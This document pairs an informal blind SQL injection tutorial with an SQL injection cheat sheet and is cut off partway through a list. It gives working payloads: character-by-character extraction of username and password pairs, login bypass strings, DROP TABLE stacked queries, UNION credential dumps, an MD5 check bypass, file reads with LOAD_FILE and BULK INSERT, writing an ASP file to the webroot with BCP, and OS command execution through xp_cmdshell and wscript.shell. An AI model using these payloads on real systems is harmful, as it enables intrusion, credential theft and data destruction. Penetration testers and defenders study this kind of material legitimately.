if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

 
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR :D

Hope you learned something from this paper.

Have FUN! (:

To be continued and updated...

渗透测试(Penetration Testing)

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query.
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

• -- (SM)
DROP sampletable;--


• # (M)
DROP sampletable;#

Line Comments Sample SQL Injection Attacks

• Username: admin'--
• SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

• /*Comment Here*/ (SM)
  • DROP/*comment*/sampletable
  • DR/**/OP/*bypass blacklisting*/sampletable
  • SELECT/*avoid-spaces*/password/**/FROM/**/Members
    
    
• /*! MYSQL Special SQL */ (M)
  This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
  
  SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples

• ID: 10; DROP TABLE members /*
  Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --
  
  
• SELECT /*!32302 1/0, */ 1 FROM tablename
  Will throw an divison by 0 error if MySQL version is higher than 3.23.02

MySQL Version Detection Sample Attacks

• ID: /*!32302 10*/
• ID: 10
  You will get the same response if MySQL version is higher than 3.23.02
  
  
• SELECT /*!32302 1/0, */ 1 FROM tablename
  Will throw an divison by 0 error if MySQL version is higher than 3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

• ; (S)
  SELECT * FROM members; DROP members--

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases). Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?

Stacked SQL Injection Attack Samples

• ID: 10;DROP members --
• SELECT * FROM products WHERE id = 10; DROP members--

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

MySQL If Statement

• IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')

SQL Server If Statement

• IF condition true-part ELSE false-part (S)
  IF (1=1) SELECT 'true' ELSE SELECT 'false'

If Statement SQL Injection Attack Samples

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

• 0xHEXNUMBER (SM)
  You can  write hex like these;
  
  SELECT CHAR(0x66) (S)
  SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)
  SELECT 0x50 + 0x45 (this is integer now!) (M)

String  Operations

String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

String Concatenation

• + (S)
  SELECT login + '-' + password FROM members
  
  
• || (*MO)
  SELECT login || '-' || password FROM members

*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.

• CONCAT(str1, str2, str3, ...) (M)
  Concatenate supplied strings.
  SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

• 0x457578 (M) - Hex Representation of string
  SELECT 0x457578
  This will be selected as string in MySQL.
  
  In MySQL easy way to generate hex representations of strings use this;
  SELECT CONCAT('0x',HEX('c:\\boot.ini'))
  
  
• Using CONCAT() in MySQL
  SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
  This will return ‘KLM’.
  
  
• SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
  This will return ‘KLM’.

Hex based SQL Injection Samples

• SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
  This will show the content of c:\boot.ini

String Modification & Related

• ASCII() (SMP)
  Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
  
  SELECT ASCII('a')
  
  
• CHAR() (SM)
  Convert an integer of ASCII.
  
  SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.

Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

• SQL Server (S)
  Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - check out SQL Server documentation.
  
  SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
  
  
• MySQL (M)
  Hex() for every possible issue

Bypassing Login Screens (SMO+)

• admin' --
• admin' #
• admin'/*
• ' or 1=1--
• ' or 1=1#
• ' or 1=1/*
• ') or '1'='1--
• ') or ('1'='1--
• ....

• Login as different user (SM*)
  ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

*Old versions of MySQL doesn't support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based - Find Columns Names

Finding Column Names with HAVING BY - Error Based (S)

In the same order,

• ' HAVING 1=1 --
• ' GROUP BY table.columnfromerror1 HAVING 1=1 --
• ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
• ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
• If you are not getting any more error then it's done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

• ORDER BY 1--
• ORDER BY 2--
• ORDER BY N-- so on
• Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

• Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
• To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
• Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.
  • Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

•  ' union select sum(columntofind) from users-- (S)
  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
  
  If you are not getting error it means column is numeric.
  
  
• Also you can use CAST() or CONVERT()
  • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
    
    
• 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
  No Error - Syntax is right. MS SQL Server Used. Proceeding.
  
  
• 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
  No Error – First column is an integer.
  
  
• 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
  Error! – Second column is not an integer.
  
  
• 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
  No Error – Second column is a string.
  
  
• 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
  Error! – Third column is not an integer. ...
  
  Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

1. Create table foo( line varchar(8000) )
2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'
3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --


Executing system commands, xp_cmdshell (S)

Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell 'ping <ip address>'

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

• Error Messages
  master..sysmessages
  
  
• Linked Servers
  master..sysservers
  
  
• Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
  SQL Server 2000: masters..sysxlogins
  SQL Server 2005 : sys.sql_logins


More Stored Procedures for SQL Server (S)

1. Cmd Execute (xp_cmdshell)
   exec master..xp_cmdshell 'dir'
   
   
2. Registry Stuff (xp_regread)
   
   1. xp_regaddmultistring
   2. xp_regdeletekey
   3. xp_regdeletevalue
   4. xp_regenumkeys
   5. xp_regenumvalues
   6. xp_regread
   7. xp_regremovemultistring
   8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
      
      
3. Managing Services (xp_servicecontrol)
   
4. Medias (xp_availablemedia)
   
5. ODBC Resources (xp_enumdsn)
   
6. Login mode (xp_loginconfig)
   
7. Creating Cab Files (xp_makecab)
   
8. Domain Enumeration (xp_ntsec_enumdomains)
   
9. Process Killing (need PID) (xp_terminate_process)
   
10. Add new procedure (virtually you